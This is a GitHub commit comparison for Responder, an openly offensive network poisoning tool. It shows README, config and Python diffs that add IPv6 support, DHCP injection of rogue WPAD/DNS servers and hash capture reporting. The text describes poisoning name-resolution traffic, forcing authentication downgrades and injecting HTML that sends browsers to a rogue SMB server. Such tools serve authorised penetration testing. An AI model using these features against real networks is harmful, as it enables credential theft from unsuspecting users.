Compare commits

...

48 Commits

Author SHA1 Message Date
lgandx
15d03bc902 Minor bugs and display/logging fixes + RDP srv SSLwrapping fix 2022-07-26 14:56:18 -03:00
lgandx
9b1c99ccd2 Fixed: Warnings on python 3.10 2022-07-12 20:15:36 -03:00
lgandx
983a1c6576 removed -r reference from help msg. 2022-05-17 21:48:02 -03:00
lgandx
03fa9a7187 removed -r references 2022-05-17 21:38:01 -03:00
lgandx
a6838fdc42 Merge pull request #202 from noraj/patch-2
odict: fix import issue
2022-05-17 21:16:41 -03:00
lgandx
8c201cf33e Merge pull request #203 from cweedon/patch-1
Fix missing paren error
2022-05-17 21:15:41 -03:00
cweedon
0c7a3ffabe Fix missing paren error
added parentheses to the print call to fix the error
2022-05-17 12:20:28 -05:00
Alexandre ZANNI
d1cb26bda7 keep compatibility with previous versions 2022-05-13 18:06:35 +02:00
Alexandre ZANNI
0ced7d52c0 odict: fix import issue 2022-05-08 20:54:23 +02:00
lgandx
fd9bcf7de1 Merge pull request #191 from Mipsters/master
MutableMapping was moved to collections.abc
2022-02-12 17:17:23 -03:00
Tom Aviv
b9f3ae35ee MutableMapping was moved to collections.abc 2022-02-11 23:24:00 +02:00
lgandx
39a2c7c0f2 Merge pull request #188 from Ne4istb/patch-1
Fixed options formating in README
2022-02-10 08:33:50 -03:00
lgandx
bd823f65a2 Merge pull request #190 from kitchung/kitchung-patch-1
DE-RPC server status not correct
2022-02-10 08:33:01 -03:00
kitchung
ee88da1af8 DE-RPC server status not correct #189
Line 512 should read:
print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.DCERPC_On_Off else disabled))

Instead of:
print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.RDP_On_Off else disabled))
2022-02-06 16:35:01 -08:00
Andrii Nechytailov
f85ad77d59 Fixed options formating in README 2022-02-03 18:32:42 +02:00
lgandx
b147229938 Merge pull request #185 from ajkerley628/master
Updated the README and Responder help flags
2022-01-12 06:17:09 -03:00
root
afb54fa274 Updated the README and Responder help flags 2022-01-11 15:37:14 -06:00
lgandx
5cf69228cf added support for OPT EDNS 2021-12-21 22:39:02 -03:00
lgandx
0b56d6aaeb removed fingerprint.py 2021-12-17 10:10:08 -03:00
lgandx
5d4510cc1d Added IPv6 support 2021-12-17 10:05:00 -03:00
lgandx
bc812da2ef Updated the Readme file with the new options and removed some old stuff 2021-12-17 00:32:12 -03:00
lgandx
3e8c9fdb0e added: dhcp inform 2021-12-13 20:30:14 -03:00
lgandx
76f6c88df3 Added DHCP DNS vs DHCP WPAD 2021-12-12 17:55:58 -03:00
lgandx
9dc779869b Added DHCP DNS vs WPAD srv injection 2021-12-12 17:02:08 -03:00
lgandx
505ec34324 Added DHCP DNS vs WPAD srv injection 2021-12-12 17:01:03 -03:00
lgandx
a0bf7a9baa minor display fix. 2021-12-12 12:26:02 -03:00
lgandx
bb17595e3f Added date and time for each Responder session config log. 2021-12-10 21:06:03 -03:00
lgandx
ba885b9345 added the ability to provide external IP on WPAD poison via DHCP 2021-12-09 22:38:44 -03:00
lgandx
568048710f Added a check for MSSQL 2021-12-08 19:57:20 -03:00
lgandx
3cd5140c80 Fixed the ON/OFF for poisoners when in Analyze mode. 2021-12-07 20:15:17 -03:00
lgandx
17e62bda1a Remove analyze mode on DNS since you need to ARP to get queries 2021-12-07 19:56:41 -03:00
lgandx
6e2c77168f Small fix 2021-12-07 17:59:54 -03:00
lgandx
d425783be9 Removed old DHCP script since its now a Responder module. 2021-12-03 00:08:40 -03:00
lgandx
de778f6698 removed default certs 2021-12-03 00:05:21 -03:00
lgandx
21afd357f8 Removed the static certs and added automatic cert generation 2021-12-03 00:03:01 -03:00
lgandx
a567d3dc31 minor bug when no RunFinger has been launched. 2021-12-02 22:04:32 -03:00
lgandx
f90b76fed2 Added DB for RunFinger results & Report 2021-12-02 22:01:18 -03:00
lgandx
51411e6b20 few enhancements 2021-12-01 00:08:54 -03:00
lgandx
826b5af9e2 removed debug str 2021-11-30 23:50:00 -03:00
lgandx
29ae6eca2e Merge branch 'master' of https://github.com/lgandx/Responder 2021-11-30 23:43:05 -03:00
lgandx
a462d1df06 added timeout option for fine tuning 2021-11-30 23:42:04 -03:00
lgandx
110f565bbd Merge pull request #136 from ghost/patch-2
Correct Analyze log filename
2021-11-30 22:47:43 -03:00
lgandx
88a2c6a53b fix: DHCP now working on VPN interface 2021-11-30 22:38:07 -03:00
lgandx
1dfa997da8 added DHCP db & updated the report script to reflect that 2021-11-30 22:21:55 -03:00
lgandx
0bf23d632b DHCP: Added auto WPADscript configuration with our IP instead of hardcoded NBT string 2021-11-20 21:36:00 -03:00
lgandx
02fb3f8978 Added support for single IP or range file. 2021-11-20 20:35:33 -03:00
lgandx
1b2a22facf Fixed a bug and increased speed. 2021-11-20 20:11:58 -03:00
Laban Sköllermark
e8e3f155f2 Correct Analyze log filename
The default filename for Analyze logs is Analyzer-Session.log, not
Analyze-Session.log.
2020-09-30 16:07:14 +02:00
32 changed files with 872 additions and 914 deletions

113
README.md
View File

@@ -1,6 +1,6 @@
# Responder/MultiRelay #
LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay.
IPv6/IPv4 LLMNR/NBT-NS/mDNS Poisoner and NTLMv1/2 Relay.
Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.com
@@ -8,23 +8,23 @@ Author: Laurent Gaffie <laurent.gaffie@gmail.com > https://g-laurent.blogspot.c
## Intro ##
Responder is an LLMNR, NBT-NS and MDNS poisoner. It will answer to *specific* NBT-NS (NetBIOS Name Service) queries based on their name suffix (see: http://support.microsoft.com/kb/163409). By default, the tool will only answer to File Server Service request, which is for SMB.
The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. You can set the -r option via command line if you want to answer to the Workstation Service request name suffix. The option -d is also available if you want to poison Domain Service name queries.
Responder is an LLMNR, NBT-NS and MDNS poisoner.
## Features ##
- Dual IPv6/IPv4 stack.
- Built-in SMB Auth server.
Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2022, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. If --disable-ess is set, extended session security will be disabled for NTLMv1 authentication. SMBv2 has also been implemented and is supported by default.
- Built-in MSSQL Auth server.
In order to redirect SQL Authentication to this tool, you will need to set the option -r (NBT-NS queries for SQL Server lookup are using the Workstation Service name suffix) for systems older than windows Vista (LLMNR will be used for Vista and higher). This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005, 2008, 2012, 2019.
This server supports NTLMv1, LMv2 hashes. This functionality was successfully tested on Windows SQL Server 2005, 2008, 2012, 2019.
- Built-in HTTP Auth server.
In order to redirect HTTP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for HTTP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 11, Edge, Firefox, Chrome, Safari.
This server supports NTLMv1, NTLMv2 hashes *and* Basic Authentication. This server was successfully tested on IE 6 to IE 11, Edge, Firefox, Chrome, Safari.
Note: This module also works for WebDav NTLM authentication issued from Windows WebDav clients (WebClient). You can now send your custom files to a victim.
@@ -34,11 +34,11 @@ Same as above. The folder certs/ contains 2 default keys, including a dummy pri
- Built-in LDAP Auth server.
In order to redirect LDAP Authentication to this tool, you will need to set the option -r for Windows version older than Vista (NBT-NS queries for LDAP server lookup are sent using the Workstation Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin.
This server supports NTLMSSP hashes and Simple Authentication (clear text authentication). This server was successfully tested on Windows Support tool "ldp" and LdapAdmin.
- Built-in DCE-RPC Auth server.
In order to redirect DCE-RPC Authentication to this tool, you will need to set the option -r and -d (NBT-NS queries for DCE-RPC server lookup are sent using the Workstation and Domain Service name suffix). For Vista and higher, LLMNR will be used. This server supports NTLMSSP hashes. This server was successfully tested on Windows XP to Server 2019.
This server supports NTLMSSP hashes. This server was successfully tested on Windows XP to Server 2019.
- Built-in FTP, POP3, IMAP, SMTP Auth servers.
@@ -56,10 +56,6 @@ This module will capture all HTTP requests from anyone launching Internet Explor
This module allows to find the PDC in stealth mode.
- Fingerprinting
When the option -f is used, Responder will fingerprint every host who issued an LLMNR/NBT-NS query. All capture modules still work while in fingerprint mode.
- Icmp Redirect
python tools/Icmp-Redirect.py
@@ -85,7 +81,7 @@ All hashes are printed to stdout and dumped in a unique John Jumbo compliant fil
Log files are located in the "logs/" folder. Hashes will be logged and printed only once per user per hash type, unless you are using the Verbose mode (-v).
- Responder will log all its activity to Responder-Session.log
- Analyze mode will be logged to Analyze-Session.log
- Analyze mode will be logged to Analyzer-Session.log
- Poisoning will be logged to Poisoners-Session.log
Additionally, all captured hashed are logged into an SQLite database which you can configure in Responder.conf
@@ -125,46 +121,49 @@ Running the tool:
Typical Usage Example:
./Responder.py -I eth0 -rPv
./Responder.py -I eth0 -Pv
Options:
--version show program's version number and exit.
-h, --help show this help message and exit.
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
BROWSER, LLMNR requests without responding.
-I eth0, --interface=eth0
Network interface to use.
-i 10.0.0.21, --ip=10.0.0.21
Local IP to use (only for OSX)
-e 10.0.0.22, --externalip=10.0.0.22
Poison all requests with another IP address than
Responder's one.
-b, --basic Return a Basic HTTP authentication. Default: NTLM
-r, --wredir Enable answers for netbios wredir suffix queries.
Answering to wredir will likely break stuff on the
network. Default: Off
-d, --NBTNSdomain Enable answers for netbios domain suffix queries.
Answering to domain suffixes will likely break stuff
on the network. Default: Off
-f, --fingerprint This option allows you to fingerprint a host that
issued an NBT-NS or LLMNR query.
-w, --wpad Start the WPAD rogue proxy server. Default value is
Off
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
Upstream HTTP proxy used by the rogue WPAD Proxy for
outgoing requests (format: host:port)
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
retrieval. This may cause a login prompt. Default:
Off
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
authentication for the proxy. WPAD doesn't need to
be ON. This option is highly effective when combined
with -r. Default: Off
--lm Force LM hashing downgrade for Windows XP/2003 and
earlier. Default: Off
--disable-ess Force ESS downgrade. Default: Off
-v, --verbose Increase verbosity.
--version show program's version number and exit
-h, --help show this help message and exit
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
BROWSER, LLMNR requests without responding.
-I eth0, --interface=eth0
Network interface to use, you can use 'ALL' as a
wildcard for all interfaces
-i 10.0.0.21, --ip=10.0.0.21
Local IP to use (only for OSX)
-6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed
Poison all requests with another IPv6 address than
Responder's one.
-e 10.0.0.22, --externalip=10.0.0.22
Poison all requests with another IP address than
Responder's one.
-b, --basic Return a Basic HTTP authentication. Default: NTLM
-d, --DHCP Enable answers for DHCP broadcast requests. This
option will inject a WPAD server in the DHCP response.
Default: False
-D, --DHCP-DNS This option will inject a DNS server in the DHCP
response, otherwise a WPAD server will be added.
Default: False
-w, --wpad Start the WPAD rogue proxy server. Default value is
False
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
Upstream HTTP proxy used by the rogue WPAD Proxy for
outgoing requests (format: host:port)
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
retrieval. This may cause a login prompt. Default:
False
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
authentication for the proxy. WPAD doesn't need to be
ON. Default: False
--lm Force LM hashing downgrade for Windows XP/2003 and
earlier. Default: False
--disable-ess Force ESS downgrade. Default: False
-v, --verbose Increase verbosity.
## Donation ##
@@ -173,9 +172,14 @@ You can contribute to this project by donating to the following $XLM (Stellar Lu
"GCGBMO772FRLU6V4NDUKIEXEFNVSP774H2TVYQ3WWHK4TEKYUUTLUKUH"
Or BTC address:
Paypal:
https://paypal.me/PythonResponder
Patreon:
https://www.patreon.com/PythonResponder
"1HkFmFs5fmbCoJ7ZM5HHbGgjyqemfU9o7Q"
## Acknowledgments ##
@@ -199,11 +203,6 @@ We would like to thanks those major sponsors:
Thank you.
## Official Discord Channel
Come hang out on Discord!
[![Porchetta Industries](https://discordapp.com/api/guilds/736724457258745996/widget.png?style=banner3)](https://discord.gg/sEkn3aa)
## Copyright ##

View File

@@ -31,6 +31,10 @@ def DbConnect():
cursor = sqlite3.connect("./Responder.db")
return cursor
def FingerDbConnect():
cursor = sqlite3.connect("./tools/RunFinger.db")
return cursor
def GetResponderData(cursor):
res = cursor.execute("SELECT * FROM Responder")
for row in res.fetchall():
@@ -39,7 +43,7 @@ def GetResponderData(cursor):
def GetResponderUsernamesStatistic(cursor):
res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder")
for row in res.fetchall():
print(color('[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1))
print(color('\n[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1))
def GetResponderUsernames(cursor):
res = cursor.execute("SELECT DISTINCT user FROM Responder")
@@ -62,11 +66,20 @@ def GetUniqueLookups(cursor):
for row in res.fetchall():
print('IP: {0}, Protocol: {1}, Looking for name: {2}'.format(row[2], row[1], row[3]))
def GetUniqueDHCP(cursor):
res = cursor.execute("SELECT * FROM DHCP WHERE MAC in (SELECT DISTINCT UPPER(MAC) FROM DHCP)")
for row in res.fetchall():
print('MAC: {0}, IP: {1}, RequestedIP: {2}'.format(row[1], row[2], row[3]))
def GetRunFinger(cursor):
res = cursor.execute("SELECT * FROM RunFinger WHERE Host in (SELECT DISTINCT Host FROM RunFinger)")
for row in res.fetchall():
print(("{},['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime:'{}', Signing:'{}', Null Session: '{}', RDP:'{}', SMB1:'{}', MSSQL:'{}']".format(row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8], row[9], row[10], row[11])))
def GetStatisticUniqueLookups(cursor):
res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)")
for row in res.fetchall():
print(color('[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1))
print(color('\n[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1))
def SavePoisonersToDb(result):
@@ -82,8 +95,11 @@ def SaveToDb(result):
result[k] = ''
cursor = DbConnect()
print(color("[+] Generating report...", code = 3, modifier = 1))
print(color("[+] Unique lookups ordered by IP:", code = 2, modifier = 1))
print(color("[+] Generating report...\n", code = 3, modifier = 1))
print(color("[+] DHCP Query Poisoned:", code = 2, modifier = 1))
GetUniqueDHCP(cursor)
print(color("\n[+] Unique lookups ordered by IP:", code = 2, modifier = 1))
GetUniqueLookups(cursor)
GetStatisticUniqueLookups(cursor)
print(color("\n[+] Extracting captured usernames:", code = 2, modifier = 1))
@@ -91,5 +107,11 @@ GetResponderUsernames(cursor)
print(color("\n[+] Username details:", code = 2, modifier = 1))
GetResponderUsernamesWithDetails(cursor)
GetResponderUsernamesStatistic(cursor)
#print color("\n[+] Captured hashes:", code = 2, modifier = 1)
#GetResponderCompleteHash(cursor)
print (color("\n[+] RunFinger Scanned Hosts:", code = 2, modifier = 1))
cursor.close()
try:
cursor = FingerDbConnect()
GetRunFinger(cursor)
except:
pass
print('\n')

9
Responder.conf Normal file → Executable file
View File

@@ -44,6 +44,7 @@ RespondTo =
; Example: RespondTo = WPAD, DEV, PROD, SQLINT
;RespondToName = WPAD, DEV, PROD, SQLINT
RespondToName =
; Specific IP Addresses not to respond to (default = None)
; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10
DontRespondTo =
@@ -88,12 +89,12 @@ ExeFilename = ;files/filetoserve.exe
ExeDownloadName = ProxyClient.exe
; Custom WPAD Script
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return 'PROXY ProxySrv:3128; PROXY ProxySrv:3141; DIRECT';}
; Only set one if you really know what you're doing. Responder is taking care of that and inject the right one, with your current IP address.
WPADScript =
; HTML answer to inject in HTTP responses (before </body> tag).
; Set to an empty string to disable.
; In this example, we redirect make users' browsers issue a request to our rogue SMB server.
HTMLToInject = <img src='file://///RespProxySrv/pictures/logso.jpg' alt='Loading' height='1' width='1'>
; leave empty if you want to use the default one (redirect to SMB on your IP address).
HTMLToInject =
[HTTPS Server]

View File

@@ -25,21 +25,21 @@ from utils import *
import struct
banner()
parser = optparse.OptionParser(usage='python %prog -I eth0 -w -r -f\nor:\npython %prog -I eth0 -wrf', version=settings.__version__, prog=sys.argv[0])
parser = optparse.OptionParser(usage='python %prog -I eth0 -w -d\nor:\npython %prog -I eth0 -wd', version=settings.__version__, prog=sys.argv[0])
parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False)
parser.add_option('-I','--interface', action="store", help="Network interface to use, you can use 'ALL' as a wildcard for all interfaces", dest="Interface", metavar="eth0", default=None)
parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None)
parser.add_option('-6', "--externalip6", action="store", help="Poison all requests with another IPv6 address than Responder's one.", dest="ExternalIP6", metavar="2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed", default=None)
parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None)
parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False)
parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False)
parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False)
parser.add_option('-f','--fingerprint', action="store_true", help="This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", dest="Finger", default=False)
parser.add_option('-D', '--DHCP-DNS', action="store_true", help="This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False", dest="DHCP_DNS", default=False)
parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False)
parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None)
parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False)
parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective when combined with -r. Default: False", dest="ProxyAuth_On_Off", default=False)
parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective. Default: False", dest="ProxyAuth_On_Off", default=False)
parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False)
parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False)
@@ -73,10 +73,11 @@ class ThreadingUDPServer(ThreadingMixIn, UDPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
raise
pass
UDPServer.server_bind(self)
@@ -89,10 +90,11 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
raise
pass
TCPServer.server_bind(self)
@@ -105,10 +107,11 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
raise
pass
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
TCPServer.server_bind(self)
@@ -116,12 +119,18 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
def server_bind(self):
MADDR = "224.0.0.251"
MADDR6 = 'ff02::fb'
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR) + settings.Config.IP_aton)
#IPV6:
if (sys.version_info > (3, 0)):
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
else:
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
if OsInterfaceIsSupported():
try:
if settings.Config.Bind_To_ALL:
@@ -129,21 +138,25 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
raise
pass
UDPServer.server_bind(self)
class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
def server_bind(self):
MADDR = "224.0.0.252"
MADDR = '224.0.0.252'
MADDR6 = 'FF02:0:0:0:0:0:1:3'
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton)
#IPV6:
mreq = socket.inet_pton(socket.AF_INET6, MADDR6) + struct.pack('@I', if_nametoindex2(settings.Config.Interface))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_JOIN_GROUP, mreq)
if OsInterfaceIsSupported():
try:
if settings.Config.Bind_To_ALL:
@@ -151,51 +164,61 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
else:
if (sys.version_info > (3, 0)):
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
else:
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
self.socket.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, False)
except:
raise
#pass
pass
UDPServer.server_bind(self)
ThreadingUDPServer.allow_reuse_address = 1
ThreadingUDPServer.address_family = socket.AF_INET6
ThreadingTCPServer.allow_reuse_address = 1
ThreadingTCPServer.address_family = socket.AF_INET6
ThreadingUDPMDNSServer.allow_reuse_address = 1
ThreadingUDPMDNSServer.address_family = socket.AF_INET6
ThreadingUDPLLMNRServer.allow_reuse_address = 1
ThreadingUDPLLMNRServer.address_family = socket.AF_INET6
ThreadingTCPServerAuth.allow_reuse_address = 1
ThreadingTCPServerAuth.address_family = socket.AF_INET6
def serve_thread_udp_broadcast(host, port, handler):
try:
server = ThreadingUDPServer((host, port), handler)
server = ThreadingUDPServer(('', port), handler)
server.serve_forever()
except:
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_NBTNS_poisoner(host, port, handler):
serve_thread_udp_broadcast(host, port, handler)
serve_thread_udp_broadcast('', port, handler)
def serve_MDNS_poisoner(host, port, handler):
try:
server = ThreadingUDPMDNSServer((host, port), handler)
server = ThreadingUDPMDNSServer(('', port), handler)
server.serve_forever()
except:
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_LLMNR_poisoner(host, port, handler):
try:
server = ThreadingUDPLLMNRServer((host, port), handler)
server = ThreadingUDPLLMNRServer(('', port), handler)
server.serve_forever()
except:
raise
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
def serve_thread_udp(host, port, handler):
try:
if OsInterfaceIsSupported():
server = ThreadingUDPServer((host, port), handler)
server = ThreadingUDPServer(('', port), handler)
server.serve_forever()
else:
server = ThreadingUDPServer((host, port), handler)
server = ThreadingUDPServer(('', port), handler)
server.serve_forever()
except:
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
@@ -203,10 +226,10 @@ def serve_thread_udp(host, port, handler):
def serve_thread_tcp(host, port, handler):
try:
if OsInterfaceIsSupported():
server = ThreadingTCPServer((host, port), handler)
server = ThreadingTCPServer(('', port), handler)
server.serve_forever()
else:
server = ThreadingTCPServer((host, port), handler)
server = ThreadingTCPServer(('', port), handler)
server.serve_forever()
except:
print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
@@ -214,10 +237,10 @@ def serve_thread_tcp(host, port, handler):
def serve_thread_tcp_auth(host, port, handler):
try:
if OsInterfaceIsSupported():
server = ThreadingTCPServerAuth((host, port), handler)
server = ThreadingTCPServerAuth(('', port), handler)
server.serve_forever()
else:
server = ThreadingTCPServerAuth((host, port), handler)
server = ThreadingTCPServerAuth(('', port), handler)
server.serve_forever()
except:
print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
@@ -227,20 +250,26 @@ def serve_thread_SSL(host, port, handler):
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(cert, key)
if OsInterfaceIsSupported():
server = ThreadingTCPServer((host, port), handler)
server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
server = ThreadingTCPServer(('', port), handler)
server.socket = context.wrap_socket(server.socket, server_side=True)
server.serve_forever()
else:
server = ThreadingTCPServer((host, port), handler)
server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
server = ThreadingTCPServer(('', port), handler)
server.socket = context.wrap_socket(server.socket, server_side=True)
server.serve_forever()
except:
print(color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running.")
def main():
try:
if (sys.version_info < (3, 0)):
print(color('\n\n[-]', 3, 1) + " Still using python 2? :(")
print(color('\n[+]', 2, 1) + " Listening for events...\n")
threads = []
# Load (M)DNS, NBNS and LLMNR Poisoners
@@ -336,18 +365,15 @@ def main():
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 53, DNSTCP,)))
for thread in threads:
thread.setDaemon(True)
thread.daemon = True
thread.start()
print(color('\n[+]', 2, 1) + " Listening for events...\n")
if settings.Config.AnalyzeMode:
print(color('[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1))
if settings.Config.DHCP_On_Off:
from poisoners.DHCP import DHCP
DHCP()
DHCP(settings.Config.DHCP_DNS)
while True:
time.sleep(1)

4
certs/gen-self-signed-cert.sh Normal file → Executable file
View File

@@ -1,3 +1,3 @@
#!/bin/bash
openssl genrsa -out responder.key 2048
openssl req -new -x509 -days 3650 -key responder.key -out responder.crt -subj "/"
openssl genrsa -out certs/responder.key 2048
openssl req -new -x509 -days 3650 -key certs/responder.key -out certs/responder.crt -subj "/"

View File

@@ -1,18 +0,0 @@
-----BEGIN CERTIFICATE-----
MIIC4TCCAcmgAwIBAgIUO+GAjgRhHP9zb1avAb9yg8JyGOgwDQYJKoZIhvcNAQEL
